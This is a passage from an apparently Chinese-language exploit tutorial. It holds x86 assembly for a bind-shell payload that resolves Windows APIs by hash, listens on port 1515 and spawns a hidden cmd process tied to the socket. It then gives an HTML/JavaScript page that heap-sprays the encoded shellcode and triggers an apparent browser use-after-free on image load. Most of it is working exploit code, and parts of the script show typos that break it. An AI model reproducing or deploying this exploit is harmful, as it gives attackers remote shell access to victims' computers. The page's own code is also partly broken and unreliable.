                push 0x7b0168d4
                mov eax, [ebp - 0x10]
                push eax
                call FUNC_GetFuncAddrByHash
                lea esi, [esp]
                push esi
                push 0x0202
                call eax//WSAStartup初始化网络环境
                test eax, eax
                jnz Label_End
?
                //创建套接字 WSASocketA
                push 0x5bbcf064
                mov eax, [ebp - 0x10]
                push eax
                call FUNC_GetFuncAddrByHash
                push 0
                push 0
                push 0
                push 6
                push 1
                push 2
                call eax
                mov[ebp - 0x14], eax
?
                //在本地绑定一个端口1515
                push 0xc9bb4e20
                mov eax, [ebp - 0x10]
                push eax
                call FUNC_GetFuncAddrByHash
                mov word ptr[esp + 0x100], 0x02//AF_INTE
                mov word ptr[esp + 0x102], 0xeb05 //端口1515
                mov dword ptr[esp + 0x104], 0//INADDR_ANY
                lea esi, [esp + 0x100]
                push 0x14
                push esi
                push[ebp - 0x14]
                call eax
                test eax, eax
                jnz Label_End
?
                //监听连接listen
                push 0x1897a73e
                mov eax, [ebp - 0x10]
                push eax
                call FUNC_GetFuncAddrByHash
                push 0x7fffffff
                push[ebp - 0x14]
                call eax
                test eax, eax
                jnz Label_End
?
                //接收连接 accept
                push 0x62032e3d
                push[ebp - 0x10]
                call FUNC_GetFuncAddrByHash
                push 0
                push 0
                push[ebp - 0x14]
                call eax
?
                mov [ebp-0x18],eax
?
                //创建一个CMD进程
                push 0x92d74d79
                push [ebp -0xc] //kernel32.dll
                call FUNC_GetFuncAddrByHash
                mov edx,eax
                lea edi,[esp+0x270]
                mov ecx,0x11
                mov eax,0x00
                cld
                rep stosd
                mov dword ptr[esp +0x270],0x00000044
                mov dword ptr[esp +0x29c],0x00000101
                mov word ptr[esp+0x2a0],0x0000  //WM_HIDE
                mov esi,[ebp-0x18]
                mov dword ptr[esp+0x2a8],esi
                mov dword ptr[esp+0x2ac],esi
                mov dword ptr[esp+0x2b0],esi
?
                lea esi,[esp+0x270]
                lea edi,[esp+0x100]
                mov ebx,[ebp-0x20]
                lea ebx,[ebx- 0x25]
                push  edi
                push esi
                push 0
                push 0
                push 0
                push 1
                push 0
                push 0
                push ebx
                push 0
                call edx
            jmp Label_End
?
?
        //通过Hash值 求函数地址 -- PARAM@1 ==M_BASE PARAM@2 == HASH
        FUNC_GetFuncAddrByHash://===============================+
            push ebp
            mov ebp ,esp
            sub esp,0x20
            
            mov esi,[ebp+0x8]
?
            mov ecx,[esi+0x3c]
            add esi,ecx
            mov esi,[esi+0x78]
?
            //mov esi,[esi+0x168]//导出表的rva
            add esi,[ebp+0x8]//导出表的va
            mov [ebp-0x4],esi//导出表的基地址 -- var_4
            mov ebx,[esi+0x20]//导出名称表的基地址rva
            add ebx,[ebp+0x8] //导出名称表的VA
            mov eax,[esi+0x18]//导出名称的个数
?
            //hash 比对求函数地址
            Loop_Body:
            dec eax
            jl F_Label_Nothing//说明遍历完了都没有找到
?
            mov esi, [ebx + eax * 4]//获取名称的rva
            add esi, [ebp + 0x8] //获取名称的VA
            pushad//保存eax，防止被返回值修改
            push esi
            call Func_GetHash
            mov edi,[ebp+0xc] //获取目标Hash数据
            cmp eax,edi
            popad
            jne Loop_Body
            //相等的话 ---- 开始寻找函数
            mov esi,[ebp-0x4]
            mov esi,[esi+0x24]//导出序号表的RVA
            add esi,[ebp+0x8] //导出序号表的VA
            xor ecx,ecx
            mov cx,[esi+eax*2]//获取到了--序号
            mov esi,[ebp-0x4] //导出结构体基址
            mov esi,[esi+0x1c]//导出函数表的的RVA
            add esi,[ebp +0x8]//函数地址表的VA
            mov eax,[esi+ecx*4]//获取到了地址--目标RVA
            add eax,[ebp+0x8] //获取到了目标地址的VA
            jmp F_Label_End
                        
            F_Label_Nothing://遍历完都没有找到
                xor eax,eax 
            F_Label_End://找到
            mov edx,[ebp+0x8]
            mov ebx,[ebp+0xc]//恢复前面两个参数的源数据
            mov esp,ebp
            pop ebp
            ret  8
            nop
            nop
        
?
        //获取字符串hash值的函数-- @PARAM1 -- 地址=================+
        Func_GetHash:
            push ebp
            mov ebp,esp
            sub esp,0x10
            mov eax,0
            mov esi,[ebp+0x8]
            //mov esi,[ebp+0x8]
            tag_Next:
            xor ecx, ecx
            mov cl, byte ptr[esi]
            add eax,ecx
            mov ecx,eax
            shr ecx,7
            shl eax, 25
            or eax, ecx
            //add eax, 0x01000000
            inc esi
            xor ecx, ecx
            mov cl, byte ptr[esi]
            test cl, cl
            jne tag_Next
            mov esp,ebp
            pop ebp
            ret 4
            nop
            nop
        Label_End:
            //popad
                //根据hash求 ExitProcess的函数
            push 0xc69fa312
            push[ebp - 0xc]
            call FUNC_GetFuncAddrByHash
            push 0
            call eax;
            mov esp,ebp
            pop ebp
    }
    //MessageBox(0, 0, 0, 0);
?
}

4.3 自定义js脚本，触发并实现堆喷

<html>
<head>
<script>
var shellcode =unescape("%u8b55%u53ec%u5756%u8160%u00ec%u0002%ueb00%u6320%u646d%u652e%u6578%u7700%u3273%u335f%u2e32%u6c64%u006c%u656b%u6e72%u6c65%u3233%u642e%u6c6c%ue800%u0000%u0000%u895b%ue05d%u8b64%u3035%u0000%u8b00%u0c76%u768b%u8b1c%u8b36%u0876%ud68b%ub860%ub065%u0f81%u5250%u73e8%u0001%u8900%ufc45%uc085%u840f%u01ff%u0000%u8b61%ufc7d%u438d%u6aee%u6a00%u5000%ud7ff%u4589%u8df4%ue343%u006a%u006a%uff50%u89d7%uf045%uec81%u0300%u0000%ud468%u0168%u8b7b%uf045%ue850%u0136%u0000%u348d%u5624%u0268%u0002%uff00%u85d0%u0fc0%uba85%u0001%u6800%uf064%u5bbc%u458b%u50f0%u15e8%u0001%u6a00%u6a00%u6a00%u6a00%u6a06%u6a01%uff02%u89d0%uec45%u2068%ubb4e%u8bc9%uf045%ue850%u00f6%u0000%uc766%u2484%u0100%u0000%u0002%uc766%u2484%u0102%u0000%ueb05%u84c7%u0424%u0001%u0000%u0000%u8d00%u24b4%u0100%u0000%u146a%uff56%uec75%ud0ff%uc085%u850f%u0157%u0000%u3e68%u97a7%u8b18%uf045%ue850%u00b2%u0000%uff68%uffff%uff7f%uec75%ud0ff%uc085%u850f%u0137%u0000%u3d68%u032e%uff62%uf075%u93e8%u0000%u6a00%u6a00%uff00%uec75%ud0ff%u4589%u68e8%u4d79%u92d7%u75ff%ue8f4%u007a%u0000%ud08b%ubc8d%u7024%u0002%ub900%u0011%u0000%u00b8%u0000%ufc00%uabf3%u84c7%u7024%u0002%u4400%u0000%uc700%u2484%u029c%u0000%u0101%u0000%uc766%u2484%u02a0%u0000%u0000%u758b%u89e8%u24b4%u02a8%u0000%ub489%uac24%u0002%u8900%u24b4%u02b0%u0000%ub48d%u7024%u0002%u8d00%u24bc%u0100%u0000%u5d8b%u8de0%udb5b%u5657%u006a%u006a%u006a%u016a%u006a%u006a%u6a53%uff00%ue9d2%u0097%u0000%u8b55%u83ec%u20ec%u758b%u8b08%u3c4e%uf103%u768b%u0378%u0875%u7589%u8bfc%u205e%u5d03%u8b08%u1846%u7c48%u8b35%u8334%u7503%u6008%ue856%u0038%u0000%u7d8b%u3b0c%u61c7%ue875%u758b%u8bfc%u2476%u7503%u3308%u66c9%u0c8b%u8b46%ufc75%u768b%u031c%u0875%u048b%u038e%u0845%u02eb%uc033%u558b%u8b08%u0c5d%ue58b%uc25d%u0008%u9090%u8b55%u83ec%u10ec%u00b8%u0000%u8b00%u0875%uc933%u0e8a%uc103%uc88b%ue9c1%uc107%u19e0%uc10b%u3346%u8ac9%u840e%u75c9%u8be7%u5de5%u04c2%u9000%u6890%ua312%uc69f%u75ff%ue8f4%uff5c%uffff%u006a%ud0ff%ue58b")

var Spliper=unescape("%u0c0d%u0c0d");
while(n.length<=0x10000)
    Spliper+=Spliper;
Spliper=Spliper.substring(0,0x10000-shellcode.length);
var Spray=newArray();
for(var i=0;i<3000;i++)
{
    Spray[i]=Spliper+shellcode;
}

var Objs =newArray();
for (i =0; i <200; i ++) {
    Objs[i] =document.createElement ("COMMENT");
    Objs[i].data="abc";
};

var EventCopy =null;
functionMyProc(evt)
{
    EventCopy =document.createEventObject(evt);
    document.getElementById ("SpanTst").innerHTML="";
    document.getElementById ("SpanTst").innerHTML="";
    document.getElementById ("SpanTst").innerHTML="";
    document.getElementById ("SpanTst").innerHTML="";
    window.setInterval (Trigger,50);
}

functionTrigger()
{
    p ="u0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0d";
    for (i =0; i <Objs.length; i ++) {
        Objs[i].data= p;
    };
    var Attack =EventCopy.srcElement;
}
</script>
</head>
<body>
<span id="SpanTst"><IMG SRC="test.gif" onload="MyProc(event)" width="16" height="16"></span>
</body>
</html>